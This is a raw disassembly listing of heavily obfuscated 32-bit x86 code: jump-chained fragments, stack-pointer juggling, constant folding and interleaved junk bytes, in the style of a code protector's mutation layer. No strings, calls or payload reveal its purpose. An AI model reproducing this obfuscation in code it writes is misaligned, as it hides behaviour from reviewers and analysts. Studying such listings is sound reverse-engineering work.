--------------------------------------------------------------------------- loc_5564C8: ; CODE XREF: sub_542C3C+21A36j pop edx pop edi add ecx, ebx mov eax, [ecx] pop ecx mov ebx, [esp+7Ch+var_7C] add esp, 4 push 7CCCh mov [esp+7Ch+var_7C], ecx sub esp, 4 mov [esp+80h+var_80], ebp push 7807500Ah jmp loc_5627A2 ; --------------------------------------------------------------------------- db 0F7h dd 0F5C681D6h, 8103E239h, 323436CEh, 6F68133h, 0E9B149F0h dd 0D411h, 5C241C87h, 68241489h, 3329h, 10738E9h, 5FF18100h dd 1FD5C7Eh, 0EE8359CEh, 24348704h, 2414895Ch, 62CE954h dd 34FF0001h, 24048B24h, 4C481h, 5C680000h, 89000074h dd 5954240Ch, 40BE955h, 81580001h, 0FAC561F7h, 0DDB0E9E0h dd 0C680FFFFh, 5AF7889Eh, 0D6E980B6h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55656B: ; CODE XREF: sub_542C3C+199A0j dec dl jmp loc_56213D ; --------------------------------------------------------------------------- dw 5B66h dd 8004E6C0h, 0EC836BEEh, 240C8904h, 8EE9E189h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_556587: ; CODE XREF: sub_542C3C+1CFE8j mov ebx, esp add ebx, 4 jmp loc_554DA0 ; --------------------------------------------------------------------------- dd 8704C083h, 0E95C2404h, 0E53Bh, 5A57BFBDh, 88ED8103h dd 81366C3Eh, 0CD0F42EDh, 4ED810Ch, 0E97A325Bh, 91C0h dd 0CE68D488h, 8900005Ah, 7DE92414h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5565CB: ; CODE XREF: sub_542C3C+17E8Ej mov esp, [esp+84h+var_84] jmp loc_558BA7 ; --------------------------------------------------------------------------- loc_5565D3: ; CODE XREF: sub_542C3C+2295Fj sub bl, 8Dh movzx eax, al jmp loc_5671EF ; --------------------------------------------------------------------------- dw 0DD89h dd 5CBA525Bh, 810C9C6Bh, 0CC0F00C2h, 167AE914h, 0C4810001h dd 4, 0D59E9h, 0A4E95900h, 54000048h, 22E9525Eh, 5D00001Bh dd 0C281DA29h, 0C2E63E3h, 5B2434FFh, 0BF3CE955h, 2C890000h dd 35E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556626: ; CODE XREF: sub_542C3C+1CA43j add eax, ebx jmp loc_5642C1 ; --------------------------------------------------------------------------- loc_55662D: ; CODE XREF: sub_542C3C+19760j shr eax, 1 shl eax, 8 jmp loc_561E70 ; --------------------------------------------------------------------------- db 89h dd 0BB12E9E5h, 0EAC10000h, 0F6F28107h, 100CFBAh, 0C5815AD5h dd 4, 31242C33h, 0CDE9242Ch, 53FFFFE1h, 686067BBh, 0E9434B79h dd 7C22h, 0E9263459h, 564Ch, 676FEA81h, 0FA290B09h, 0FFD312E9h dd 242C8BFFh, 5704C483h, 42474FFh, 24048F5Fh, 2414895Ch dd 0B5E99C50h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556697: ; CODE XREF: sub_542C3C+1AC4Ej pop edx push 1A96h jmp loc_55B3E3 ; --------------------------------------------------------------------------- dw 0EE81h dd 2101B324h, 0E95EF529h, 52CBh, 0E95FF801h, 0D660h, 5A2434FFh dd 48BBE9h, 4C48100h, 81000000h, 0CA042444h, 8146C105h dd 0B904246Ch, 0E9136512h, 10BAEh, 8F3C2FBBh, 5BDA3130h dd 7164C681h, 0D6011CB0h, 7164EE81h, 148B1CB0h, 4C48324h dd 0ED17EFBBh, 22076839h, 3C890000h, 21DEE924h, 14890001h dd 515A5424h, 4B9h, 74C28100h, 172112Ah, 0DEBD55CAh, 0E917110Ch dd 0F38Eh ; --------------------------------------------------------------------------- loc_556728: ; CODE XREF: sub_542C3C+21428j push 752Bh mov [esp+88h+var_88], eax jmp loc_557E98 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0B5h dd 0C10BC974h, 4A4A08E2h, 0E9DAF74Ah, 305Ah, 5C242C33h dd 114F2E9h, 7807B800h, 0FF050C29h, 2DFFFFFFh, 2DFA5051h dd 0E958C529h, 0FFFFE804h, 0C581E589h, 4, 8704ED83h, 0E95C242Ch dd 63B3h, 15DEE29h, 0EDC681D6h, 0E9134142h, 2D9Dh, 0EEEE81ADh dd 0E9118549h, 503Dh, 48BC600h, 4C48324h, 292C342Ch, 10892E9h dd 241C8900h, 5EE95755h, 0B9000086h, 4, 0E959CE01h, 0FFFFDF30h dd 0E9242C8Bh, 11D2Ah, 4C181h, 0C870000h, 68525C24h, 1AAh dd 0E4F8E9h, 9DE95900h, 6800011Ch, 1A9Eh, 0E9243489h, 31F0h dd 81240C8Bh, 4C4h, 89A5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5567FE: ; CODE XREF: sub_542C3C+1786Cj sub eax, 4 xchg eax, [esp+88h+var_88] pop esp jmp loc_567EC6 ; --------------------------------------------------------------------------- loc_55680C: ; CODE XREF: sub_542C3C+249D1j xchg eax, [esp+84h+var_84] pop esp mov [esp+80h+var_80], eax mov ah, cl push edx jmp loc_55394D ; --------------------------------------------------------------------------- loc_55681B: ; CODE XREF: sub_542C3C+1591Dj pop eax jmp loc_5632D5 ; --------------------------------------------------------------------------- db 81h, 0EFh, 25h dd 5E700C14h, 52B68h, 24348900h, 4BEh, 0FFF70100h, 80E92434h dd 800000A1h, 5A669EC5h, 0E828632Ch, 3CBE68h, 0DD24E900h dd 34890000h, 5779E924h, 4830000h, 34FF0424h, 0C4815B24h dd 4, 4C381h, 0E1680000h, 8900004Ch, 0E189240Ch, 6C05E957h dd 0EB810000h, 51D971B1h, 2EA4E9h, 0CEE95600h, 0B800008Ch dd 7A270839h, 5108E0C1h, 0AE5F5FB9h, 59C82172h, 0E906E0C1h dd 583Dh, 0E9243C89h, 8D5Bh, 0B5519EB2h, 0FEDDF6AAh, 9190E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5568BE: ; CODE XREF: sub_542C3C+187F5j pop [esp+80h+var_80] pop esp mov [esp+78h+var_78], eax mov eax, esp push esi mov esi, 56D26B58h jmp loc_562045 ; --------------------------------------------------------------------------- dw 9268h dd 8900005Eh, 0E589242Ch, 2EA2B951h, 41492D33h, 8141D1F7h dd 332EA6C1h, 8BCD012Dh, 0C481240Ch, 4, 4C581h, 2C870000h dd 24248B24h, 8B24048Fh, 34FF2424h, 89515824h, 72BD55E1h dd 52392E71h, 6907B1BAh, 7FF2816Dh, 812D3E21h, 4ECh, 241C8900h dd 3B74BE56h, 81464C65h, 127AA6F6h, 5EF38914h, 4D61C281h dd 0C2813E57h, 4A3071D3h, 0EA81DA01h, 4A3071D3h, 4D61EA81h dd 1C8B3E57h, 4C48324h, 0C106EAC1h, 0C28102E2h, 18C444A7h dd 148BD531h, 0A33DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556972: ; CODE XREF: sub_542C3C+21EF8j mov [esp+7Ch+var_7C], ecx push ecx mov ecx, 16836354h add [esp+80h+var_7C], 2B332E76h add [esp+80h+var_7C], ecx jmp loc_5546C2 ; --------------------------------------------------------------------------- loc_55698C: ; CODE XREF: sub_542C3C+173D4j push esp mov edx, [esp+84h+var_84] add esp, 4 push ebp mov ebp, 4 jmp loc_5638CF ; --------------------------------------------------------------------------- dw 1C8Bh dd 0CFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5569A6: ; CODE XREF: sub_542C3C+1CD56j mov eax, [esp+84h+var_84] add esp, 4 add cl, ah mov eax, [esp+80h+var_80] jmp loc_560BEE ; --------------------------------------------------------------------------- loc_5569B6: ; CODE XREF: sub_542C3C+25B93j xor [esp+80h+var_80], edx xor edx, [esp+80h+var_80] mov esp, [esp+80h+var_80] jmp loc_55C623 ; --------------------------------------------------------------------------- loc_5569C4: ; CODE XREF: sub_542C3C+1DCBBj xchg ebp, [esp+80h+var_80] pop esp mov [esp+7Ch+var_7C], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+7Ch+var_7C] pop esp add esi, 4 xchg esi, [esp+78h+var_78] mov esp, [esp+78h+var_78] push [esp+78h+var_78] push [esp+7Ch+var_7C] push [esp+80h+var_80] pop ecx add esp, 4 push 70AAh mov [esp+80h+var_80], ecx push 3C45h push esp pop [esp+88h+var_88] jmp loc_5544F8 ; --------------------------------------------------------------------------- dw 248Bh dd 24042824h, 0CB3AE99Ch, 0F480FFFFh, 8BE300B9h, 0C4832404h dd 0E9506604h, 0CF22h ; --------------------------------------------------------------------------- loc_556A24: ; CODE XREF: sub_542C3C+223C3j add esp, 4 pop [esp+80h+var_80] push [esp+7Ch+var_7C] pop esi push ebx mov ebx, esp add ebx, 4 push esi push ebx mov ebx, 2FB92834h and ebx, 4EF6A51h shr ebx, 2 xor ebx, 489F3A30h xor ebx, 49B57030h mov esi, ebx pop ebx jmp loc_5650BF ; --------------------------------------------------------------------------- loc_556A5E: ; CODE XREF: sub_542C3C+1FE6Bj sub ebx, 53CC05E3h jmp loc_55B8F8 ; --------------------------------------------------------------------------- loc_556A69: ; CODE XREF: sub_542C3C+223F1j inc esi and esi, 547D4B7Ch jmp loc_55E8B9 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0C1830000h, 240C8704h, 7812E9h, 96E95700h, 81000113h dd 4ECh, 48F5400h, 24048124h, 4, 0E924048Fh, 8800h, 0E4E3F281h dd 0D301867Eh, 0BAEAE95Ah, 14890000h, 0CF5AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556ABE: ; CODE XREF: sub_542C3C+16D05j pop eax jmp loc_558F7A ; --------------------------------------------------------------------------- dd 8B24048Fh, 8B662424h, 1E682404h, 89000057h, 96E92434h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556ADB: ; CODE XREF: sub_542C3C+16B61j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+84h+var_84] pop esp mov ebx, [esp+80h+var_80] add esp, 4 jmp loc_561654 ; --------------------------------------------------------------------------- loc_556AF9: ; CODE XREF: sub_542C3C+21900j xor ebx, [esp+7Ch+var_7C] jmp loc_566D80 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8B24048Fh, 84E92424h, 0BA0000C8h, 40246FE4h, 77E637BBh dd 5AD3296Eh, 0AE76DC2Dh, 0E9D8014Eh, 0FFFFCC05h, 2B9h dd 8748E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556B32: ; CODE XREF: sub_542C3C+1652Dj mov [esp+7Ch+var_7C], ebp push esi mov esi, 500D20D0h jmp loc_566D40 ; --------------------------------------------------------------------------- dd 5B2414F7h, 0E902EBC1h, 0BCBBh ; --------------------------------------------------------------------------- loc_556B4C: ; CODE XREF: sub_542C3C+16B4Bj add esp, 4 add esp, 4 add ebx, 6DEC48ECh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+7Ch+var_7C] jmp loc_55EB6E ; --------------------------------------------------------------------------- aISk db '‰,$ék*',0 align 4 dd 5EA2B850h, 11E90CA0h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556B7F: ; CODE XREF: sub_542C3C+1680Bj mov ebp, 441915BEh add edx, ebp pop ebp jmp loc_5686A7 ; --------------------------------------------------------------------------- loc_556B8C: ; CODE XREF: sub_542C3C+18E8Dj push esi push esp jmp loc_55A1DC ; --------------------------------------------------------------------------- db 58h dd 80FBF780h, 0F780E7EFh, 0F66EE981h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556BA2: ; CODE XREF: sub_542C3C+23CE6j add ebx, ecx add ebx, 2A5658h pop ecx add eax, ebx push [esp+7Ch+var_7C] jmp loc_56798D ; --------------------------------------------------------------------------- loc_556BB5: ; CODE XREF: sub_542C3C+16553j pop ecx jmp loc_55F690 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9DF0100h, 10E5Fh, 0C41B050h, 56FE9A7h, 0C4830001h dd 64756804h, 2C890000h, 27BB5324h, 0E92F9306h, 64FAh dd 0C7031FBBh, 5BD8014Bh, 2A76B951h, 1405588Eh, 0E9138B1Fh dd 2E0Eh, 240C8B66h, 0E904EC83h, 10111h, 6149E981h, 73E97235h dd 460000C2h, 0EFC1F787h, 8A74E906h, 0C3810000h, 4, 111D3E9h db 0 ; --------------------------------------------------------------------------- loc_556C2D: ; CODE XREF: sub_542C3C+1C906j push ebx jmp loc_5611ED ; --------------------------------------------------------------------------- db 89h dd 0FBA3E9CBh, 0E883FFFFh, 3A25E904h, 0D8310000h, 0F8B1E9h db 0 ; --------------------------------------------------------------------------- loc_556C49: ; CODE XREF: sub_542C3C+224CBj sub eax, 13458DEh add eax, 72D90883h push ebx mov ebx, esp jmp loc_5636C1 ; --------------------------------------------------------------------------- db 51h dd 0B9h, 76E98100h, 12F7E26h, 76BF57C1h, 12F7E26h, 243C8BF9h dd 10E1CE9h, 5AF78800h, 62E9FE88h db 0DFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556C83: ; CODE XREF: sub_542C3C+18363j push 4 pop esi jmp loc_55CAC3 ; --------------------------------------------------------------------------- dw 0A368h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 2F56665h sub edi, 58816931h shl edi, 8 jmp loc_55A64A ; --------------------------------------------------------------------------- loc_556CB0: ; CODE XREF: sub_542C3C+1FD3Dj add esp, 4 push esi mov esi, ebx jmp loc_55B84C ; --------------------------------------------------------------------------- dw 0CB80h dd 0C7F380F5h, 77E9D988h, 5100003Ah, 276FF7B9h, 4BBA520Ah dd 2137657Bh, 24148BD1h, 4C481h, 0E1810000h, 414E7439h dd 0A003BB53h, 0D901FFFBh, 59CD015Bh, 8702C583h, 248B242Ch dd 0E9F9F624h, 0C6D8h ; --------------------------------------------------------------------------- loc_556D04: ; CODE XREF: sub_542C3C+1CE0Dj mov esi, [esp+8Ch+var_8C] push esi jmp loc_55A453 ; --------------------------------------------------------------------------- db 4Dh, 81h, 0EDh dd 1, 8103EDC1h, 2B1D90C5h, 5DEA01FBh, 31241433h, 0BE92414h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_556D2B: ; CODE XREF: sub_542C3C+1F56Fj add ebx, 4 add ebx, 4 xchg ebx, [esp+90h+var_90] pop esp pop [esp+8Ch+var_8C] mov esp, [esp+88h+var_88] mov [esp+88h+var_88], ebx mov ebp, [esp+88h+var_88] jmp loc_5607F6 ; --------------------------------------------------------------------------- db 83h, 0E8h, 2 dd 5C240487h, 240C8966h, 0E5D071B5h, 0F586C5FEh, 0F586D6F6h dd 66FFED80h, 0E9274B68h, 0B198h, 895BD889h, 0F75A58C1h dd 0E8E7E9D1h, 0E389FFFFh, 4C381h, 19E90000h, 890000C5h dd 4C681E6h, 81000000h, 4EEh, 0E7AEE900h, 0E981FFFFh, 402C1839h dd 8DC181h, 0F10105A7h, 8DE981h, 0BD5505A7h, 17F0515Dh dd 2540C581h, 0ED811725h, 0EEE95E64h, 5E5DE901h, 8B240C87h dd 0FF662424h, 0E99C2404h, 0FFFFC778h, 527CE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_556DDA: ; CODE XREF: sub_542C3C+129C3j mov esi, [esp+94h+var_94] add esp, 4 xor esi, 70183038h push [esp+90h+var_90] pop edi add esp, 4 and eax, esi jmp loc_55D231 ; --------------------------------------------------------------------------- db 81h dd 6C5639F5h, 243E91Fh, 0E9480000h, 0FFFFCEDDh, 224168h dd 24348900h, 35E9E689h, 1FFFFE1h, 3FEA81DAh, 810CC32Ah dd 4ECh, 24348900h, 73177968h, 0F2295E61h, 0EBEFE9h db 0 ; --------------------------------------------------------------------------- loc_556E35: ; CODE XREF: sub_542C3C+1B9D6j xchg esi, [esp+8Ch+var_8C] pop esp jmp loc_560956 ; --------------------------------------------------------------------------- aH?_sVfipXkMXS db 'h×^?{_S» vFiP¸xK{M)ÃX)Øéº',0Dh,0 align 2 loc_556E5A: ; CODE XREF: sub_542C3C+1F783j neg eax dec eax sub eax, 40F4A86h not eax not eax sub eax, 8D2E3F61h add esi, eax pop eax sub esi, 4 xchg esi, [esp+84h+var_84] pop esp mov [esp+80h+var_80], esp sub esp, 4 mov [esp+84h+var_84], ecx mov ecx, 4 jmp loc_555F50 ; --------------------------------------------------------------------------- dw 0EE81h dd 44B22B60h, 58E9DEF7h, 0BB00006Dh, 4, 7568h, 0CC77E900h dd 0E950FFFFh, 39C5h, 555FFD29h, 8C4AE9h, 81E1D100h, 4EC560F1h dd 59C809EEh, 3503E8C1h, 0BBEEFFDh, 67F3C181h, 0BE56322Dh dd 1AB56923h, 9409E9h, 4C48300h, 34FFD801h, 0DD69E924h dd 0EC830000h, 243C8904h, 4BFh, 0FFFA0100h, 835F2434h dd 0EC8104C4h, 4, 0BE243489h, 55260B8Ah, 5D2AE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556F12: ; CODE XREF: sub_542C3C+18668j push esi mov esi, 7BA92FB8h add [esp+88h+var_84], esi push [esp+88h+var_88] pop esi add esp, 4 push [esp+84h+var_84] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55ECD1 ; --------------------------------------------------------------------------- db 89h dd 0FDE950E1h, 8B0000E0h, 0C483240Ch, 0E2C18104h, 0E943B115h dd 4B24h ; --------------------------------------------------------------------------- loc_556F54: ; CODE XREF: sub_542C3C+23E4Fj mov edx, [esp+88h+var_88] push 4183h mov [esp+8Ch+var_8C], edi jmp loc_55AFDA ; --------------------------------------------------------------------------- aRZRgsE db 'R]Z-·%rGé{…',0 db 0 ; --------------------------------------------------------------------------- loc_556F71: ; CODE XREF: sub_542C3C+1E1C7j push [esp+8Ch+var_8C] mov ebx, [esp+90h+var_90] jmp loc_559194 ; --------------------------------------------------------------------------- dd 2299C681h, 0F68132CCh, 4A1FEC42h, 0AC57E9h, 37E95C00h dd 570000CFh, 455E4FBFh, 5FFE0972h, 4A13CE81h, 4E9739Fh dd 0E900000Bh, 0FFFFC5A0h, 3039C981h, 0C1815709h, 0DE2CDC80h dd 0E959CA89h, 1B03h, 5BD8315Eh, 5E08EA81h, 0EA81104Ch dd 4AA9478Eh, 0FA79E9h, 2434FF00h, 4C4835Fh, 0CA968h, 240C8900h dd 4EC81h, 14890000h, 8B3BBA24h, 0D1890CBEh, 71FEE9h, 0FB016600h dd 243C8B66h, 2C481h, 0E9550000h, 0C194h ; --------------------------------------------------------------------------- loc_55700C: ; CODE XREF: sub_542C3C+14D2Cj inc ebp xor ebp, 3745667Eh xor ecx, ebp pop ebp push edi push ecx jmp loc_568392 ; --------------------------------------------------------------------------- loc_55701D: ; CODE XREF: sub_542C3C+21A95j add esp, 4 dec edi neg edi sub edi, 558E22A9h mov edx, edi jmp loc_568778 ; --------------------------------------------------------------------------- dd 0D089CA89h, 0E9C2895Ah, 631Ah, 24048B66h, 292EE9h, 5DEB0100h dd 0BA87E9h, 24348700h, 2404895Ch, 4B8h, 0E9C52900h, 7FCh ; --------------------------------------------------------------------------- loc_557060: ; CODE XREF: sub_542C3C+22FF7j sub edx, 0D444DEBh push 66A4h mov [esp+94h+var_94], ebx mov ebx, 2B0D7FE6h add edx, ebx pop ebx pop ecx add edx, eax jmp loc_558548 ; --------------------------------------------------------------------------- dw 0EF81h dd 48F76759h, 2C7815Bh, 0E9000000h, 8FD0h, 5A4BE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_557096: ; CODE XREF: sub_542C3C+18F6Fj push esp pop ebp push esi mov esi, 4 add ebp, esi pop esi push 7746h mov [esp+90h+var_90], eax mov eax, 4 add ebp, 577D5636h jmp loc_564DF8 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9240489h, 0BB26h ; --------------------------------------------------------------------------- loc_5570C4: ; CODE XREF: sub_542C3C+1D757j mov bl, 8Ah shl bl, 5 push ax mov al, bl not al jmp loc_56277F ; --------------------------------------------------------------------------- dd 0E681FE87h, 409D0530h, 5F5E5756h, 2414F757h, 31FE315Fh dd 0C1FE31F7h, 505108E6h, 582DC068h, 130D5847h, 546EE03h dd 0FFFFFFFFh, 4C0D035h, 0AC9DE9BCh, 0C8B0000h, 4C48124h dd 81000000h, 1C5h, 68564D00h, 637h, 0B8240489h, 25D23A94h dd 440317BEh, 0E9C601DCh, 8095h, 177A68h, 44C8E900h, 0E95A0000h dd 0FFFFEB46h, 0F988C788h, 12D3E9h db 0 ; --------------------------------------------------------------------------- loc_55714D: ; CODE XREF: sub_542C3C+2114Cj push ebp push [esp+96h+var_94+2] jmp loc_55E9BB ; --------------------------------------------------------------------------- aIus db 'ÑëUé³"',0 dw 5A00h dd 0E9241C87h, 90B6h ; --------------------------------------------------------------------------- loc_557168: ; CODE XREF: sub_542C3C+16F45j pop esp movzx eax, al jmp loc_559384 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0F3h dd 36C472E2h, 0FFD9E95Eh, 8159FFFFh, 4C4h, 0E1BB5300h dd 551E0836h, 0FFEC3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_557191: ; CODE XREF: sub_542C3C+209B8j sub ah, 6Ah sub ah, 0B0h jmp loc_564798 ; --------------------------------------------------------------------------- dd 5C240487h, 0E9241C89h, 0FFFFFA40h, 0B3241C89h, 8BDE0854h dd 0C483241Ch, 0E9C6FE04h, 0B007h, 83243C8Bh, 815104C4h dd 4ECh, 24148900h, 9D0C9DBAh, 81EAD140h, 3C11BFE2h, 0D143E91Ah dd 0BE560000h, 0FFFFFFFFh, 69D3E9h db 0 ; --------------------------------------------------------------------------- loc_5571E9: ; CODE XREF: sub_542C3C+1CB27j add ah, 1 shl ah, 6 xor ah, 0E9h xor dh, ah pop eax sub dh, 3 mov cl, dh pop edx not cl xor cl, 5Bh dec cl add cl, 0Fh push eax jmp loc_558A84 ; --------------------------------------------------------------------------- db 88h dd 5B3A88C7h, 6824148Bh, 467Fh, 54243C89h, 0BB53565Fh dd 40072614h, 0FFC680E9h db 0FFh ; --------------------------------------------------------------------------- loc_557229: ; CODE XREF: sub_542C3C+2158Bj pop ecx push ebx pop edi pop ebx jmp loc_55F0A2 ; --------------------------------------------------------------------------- dw 0C87h aLHg db '$‹$$hg',7,0 dd 241C8900h, 8904EC83h, 4832424h, 505B0424h, 0FFF63EE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_563C5C ; --------------------------------------------------------------------------- aLSV db '‹<$é=V',0 db 0 ; --------------------------------------------------------------------------- loc_557261: ; CODE XREF: sub_542C3C+1C1D0j not esi xchg esi, edx inc edx jmp loc_56762C ; --------------------------------------------------------------------------- aIIXiSks db 'ˆÈˆÃXˆØéŠé',0 dw 8100h dd 6A745DC2h, 81DA0124h, 6A745DEAh, 0F0B85024h, 2D005D48h dd 41256C59h, 0FFFFFF2Dh, 53260DFFh, 0BE56052Ch, 47B971D3h dd 0C15EF009h, 1F2D04E0h, 2DDB98FEh, 0F264ECC0h, 5B58C229h dd 0FFE490E9h, 0FFE883FFh, 2B5D9F0Dh, 0B3EE0524h, 0EB811F63h dd 80C1196h, 0C381C329h, 80C1196h, 240C8B58h, 81595451h dd 4C1h, 4C18100h, 87000000h, 8F5C240Ch, 0C25AE900h, 2C29FFFFh dd 242C8B24h, 4D04C483h, 68A8C581h, 0E9513539h, 9C2Fh dd 0FF241C89h, 0E9042474h, 0FFFFF68Ah, 4BBh, 0E9DE0100h dd 0CC80h, 0C226E958h, 0C483FFFFh, 0A5CDE904h, 4810000h dd 4B3EB224h, 6CE95B07h, 5B000029h, 0A83DE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557342: ; CODE XREF: sub_542C3C+1F50Fj mov bl, 3Fh sub al, bl pop bx sub al, dl add al, 3Fh pop edx add al, 9Eh add al, cl jmp loc_55A149 ; --------------------------------------------------------------------------- dw 148Bh dd 0E6895624h, 4B850h, 78E90000h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557367: ; CODE XREF: sub_542C3C+24789j add ebp, 0A353045Ah sub ecx, 1043C75h jmp loc_5537AD ; --------------------------------------------------------------------------- dd 8047F580h, 0DDF65DE5h, 201FF580h, 526659ECh, 0D4285FB2h dd 0E4805A66h, 0F6EC8612h, 0E9EC86D5h, 0FFFFF676h, 0AC4F2105h dd 0E9C8295Eh, 0A10Dh, 0D5F6C5FEh, 2864C580h, 0E80059E8h dd 8904EC83h, 32E9241Ch, 5EFFFFD4h, 8904EC83h, 8B5D2434h dd 0C4832434h, 5DEA2904h, 0BF57C229h, 343D6985h, 10CFB850h dd 0BB5348D2h, 7BDE7260h, 40C8C381h, 0F38100A9h, 5564E676h dd 295BDA01h, 5EB951C2h, 8129E355h, 8E60FBC2h, 81CA296Bh dd 8E60FBEAh, 158596Bh, 4EC81FAh, 0E9000000h, 0FFFFCA66h dd 2BA5259h, 83000000h, 38E904ECh, 81000038h, 6A6105C7h dd 241C8B75h, 0FFF786E9h, 4CB850FFh, 8156093Bh, 0EE25ADEEh dd 81C62928h, 0EE25ADC6h, 0BFE95828h, 31FFFFE8h, 2C33242Ch dd 24248B24h, 9FB1E9h, 0E3895300h, 0E26E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557466: ; CODE XREF: sub_542C3C+191C8j add ebx, 3718C40Ah sub ecx, ebx push [esp+88h+var_88] pop ebx add esp, 4 sub esp, 4 mov [esp+88h+var_88], eax jmp loc_55ED75 ; --------------------------------------------------------------------------- dd 8904EC83h, 0D7E9240Ch, 81000113h, 4C7h, 6DE56800h, 0B5E90000h db 0EEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55749B: ; CODE XREF: sub_542C3C+1E874j push 3EF2h jmp loc_55EDFC ; --------------------------------------------------------------------------- loc_5574A5: ; CODE XREF: sub_542C3C+211FFj add ebp, 4 add ebp, 4 xchg ebp, [esp+8Ch+var_8C] pop esp jmp loc_5662C6 ; --------------------------------------------------------------------------- loc_5574BA: ; CODE XREF: sub_542C3C+1919Bj pop eax mov dword ptr [edx+30h], 8E37851Bh jmp loc_5610AD ; --------------------------------------------------------------------------- loc_5574C7: ; CODE XREF: sub_542C3C+22F74j and edx, 13D31451h jmp loc_561BEE ; --------------------------------------------------------------------------- loc_5574D2: ; CODE XREF: sub_542C3C+15C7Ej pop ebx add ebx, 4 push esi mov esi, 4 add ebx, esi pop esi xor ebx, [esp+80h+var_80] xor [esp+80h+var_80], ebx jmp loc_558D96 ; --------------------------------------------------------------------------- loc_5574ED: ; CODE XREF: sub_542C3C+13372j push ebp mov ebp, 5B3059A4h add ebp, 195B1E29h jmp loc_553B65 ; --------------------------------------------------------------------------- loc_5574FE: ; CODE XREF: sub_542C3C+1C8A1j mov edi, 2C8F0AA8h sub eax, edi pop edi pop edx add eax, 4 xchg eax, [esp] pop esp jmp loc_55F5D2 ; --------------------------------------------------------------------------- db 33h dd 1EE9241Ch, 0F70000E0h, 0C6E981D1h, 2D6AB2CBh, 0EC20806h dd 0FFE4B3E9h, 240483FFh, 89565D04h, 4C681E6h, 83000000h dd 348704EEh, 0F91EE924h, 0EB810000h, 0C2C99428h, 0E95BD821h dd 0FFFFFD65h, 4EC81h, 0C890000h, 81E18924h, 4C1h, 4C18300h dd 5C240C87h, 1014B951h, 0D1415D68h, 2E9C1E9h, 1D05E181h dd 0C1812A50h, 227760B2h, 0C8BCB01h, 4C48324h, 0EB81C329h dd 2C7760B2h, 4CA9BD55h, 58E9461Dh, 54FFFFF8h, 3A05E9h dd 4EC8300h, 68241489h, 5EBDh, 0FFCFD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5575B5: ; CODE XREF: sub_542C3C+14F67j push [esp+9Ah+var_9C+2] pop eax add esp, 4 jmp loc_5615DE ; --------------------------------------------------------------------------- dd 0E924248Bh, 442h, 5EB4BA52h, 0DAF77757h, 0AEA81h, 0EAC13C1Fh dd 46F36805h, 14890000h, 2404FF24h, 0F65AE95Ah, 685A0000h dd 0D74h, 0FF240489h, 8B042474h, 0C4812404h, 4, 5C24048Fh dd 8140478Fh, 42904077h, 34FF1689h, 24048B24h, 6804C483h dd 4DEDh, 0EC7FE9h, 8BEB3000h, 0C483240Ch, 0CC39E904h dd 4BDFFFFh, 29000000h, 0C335DE9h, 240C3124h, 5C240C33h dd 89242C89h, 0F67DE9E5h, 15AFFFFh, 243C8BF9h, 4C481h dd 0C8010000h, 81240C8Bh, 4C4h, 20500h, 4330000h, 24043124h dd 0E9240433h, 0FFFFDE9Bh, 0E924048Bh, 0F934h, 4EE815Fh dd 33000000h, 0E7E92434h, 900004Eh, 0E5C159CDh, 5CED8107h dd 29B9A3A0h, 0C2815DEAh, 0B5F6FC8h, 0EA81EA01h, 0B5F6FC8h dd 5A24C281h, 0E95D210Bh, 0FFFFBE94h, 0FFBE8FE9h, 2B8FFh dd 0C3010000h, 8324048Bh, 1C3304C4h, 241C3124h, 8B241C33h dd 0F662424h, 9C2404BBh, 0FFBE6BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5576E1: ; CODE XREF: sub_542C3C+1DD79j sub esp, 4 mov [esp+9Ah+var_9C+2], edi jmp loc_560FE3 ; --------------------------------------------------------------------------- dd 1375C681h, 15B4397h, 0ACEE81D6h, 8B09D022h, 89532414h dd 17E951E3h, 5D0000E4h, 79BAE9h db 0 ; --------------------------------------------------------------------------- loc_55770D: ; CODE XREF: sub_542C3C+1A8BEj or ebx, eax pop eax push ecx mov ecx, 7CB6297Dh sub ebx, ecx pop ecx push 0 sub [esp+9Ah+var_9C+2], ebx jmp loc_5578BE ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 0E9000000h, 0ABFBh ; --------------------------------------------------------------------------- loc_557734: ; CODE XREF: sub_542C3C+1C3C0j push 42B1h mov [esp], ebx mov ebx, esp push esi mov esi, esp add esi, 4 sub esi, 4 push esi 